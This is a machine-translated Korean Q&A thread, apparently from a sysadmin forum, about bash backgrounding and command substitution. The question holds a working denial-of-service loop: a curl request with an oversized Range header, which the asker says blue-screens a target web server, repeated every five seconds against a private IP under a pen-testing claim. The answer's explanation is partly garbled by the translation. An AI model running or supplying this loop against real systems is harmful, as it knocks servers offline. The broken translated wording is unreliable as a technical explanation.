나는 Linux 명령으로 반복을 시도했고 마침내 bash 스크립트를 사용하기로 결정했습니다. 명령은 대상 웹 서버에 블루 스크린을 표시하는 컬입니다. 저는 회사에서 침투 테스트를 하고 있습니다. 그래서 이 컬 명령을 무한히 반복하고 싶고 bash 스크립트 루프 명령을 성공적으로 사용했습니다. 최종 명령은 다음과 같습니다.
우분투 14.04 LTS 터미널:
while :; do $(curl -v http://172.16.3.107/welcome.png -H "Range: bytes=18-18446744073709551615" & sleep 5 & pkill curl); done
하지만 한 가지 명확하게 이해할 수 없는 점은 일부 기사와 Q&A에 따르면 (command1 & command2 & command3을 한 줄로)의 각 명령이 비동기식으로 실행되므로 서로 기다리지 않고 동시에 실행된다는 것입니다. 하지만 위 공격 코드의 결과에서는 "5초마다" 컬의 출력이 반복됩니다. 즉, 컬이 실행 중이고 5초를 기다린 후 컬이 중단됩니다. 그런 다음 컬을 다시 실행하십시오. 따라서 5초마다 출력이 다시 나타납니다. 그래서 이 명령들은 서로 간섭합니다. 하지만 인터넷 기사나 Q&A에서는 정반대를 말하고 있습니다. 누구든지 이것을 명확히 할 수 있습니까?
참고: 컬은 컬의 공격 매개변수로 인해 보류 상태에 있습니다. 완료되지 않았습니다. 따라서 저는 sleep 명령과 pkill 명령을 각각 사용합니다. 따라서 공격 매개변수와 함께 컬 명령을 정확하고 반복적으로 사용할 수 있습니다.
관련된 링크들:
1) (command1 & command2 & command3 &) 여러 작업을 병렬로 실행
Linux에서 여러 백그라운드 작업을 실행하는 방법은 무엇입니까?
2) (command1 & command2 & command3 &) 별도의 서브 쉘에서 동시에 실행
https://bashitout.com/2013/05/18/Ampersands-on-the-command-line.html
3) 비동기(멀티스레드) 다이어그램 예시
답변1
다음과 같이 생각할 수 있습니다.
curl -v ...
,sleep 5
,pkill curl
예거의동시에 실행- 아마도 실행 중에
pkill curl
첫 번째curl
명령이 일부 데이터를 수신했을 가능성이 큽니다. 그런 다음 그것은 죽었습니다. $( ... )
전체를 마무리하는 명령 대체는 모든 명령이 완료될 때까지 기다립니다. 바라보다백그라운드 프로세스가 끝날 때까지 함수가 반환되지 않는 이유는 무엇입니까?curl
그런 다음에만 모든 출력, 즉 수신된 데이터가 표시됩니다 . 예를 들어echo $(date & sleep 5); date
이를 확인하려면 실행하세요. 첫 번째 출력이 나타날 때까지 기다려야 합니다.- 반복하다.
따라서 표시되는 출력은 curl
(보다 정확하게는구현하다이 명령 대체의 출력(이유는 모르겠습니다)은 curl
약 5초 후에 종료됩니다.
참고: 컬은 컬의 공격 매개변수로 인해 보류 상태에 있습니다.
"공격 매개변수"가 무엇을 의미하는지 잘 모르겠습니다.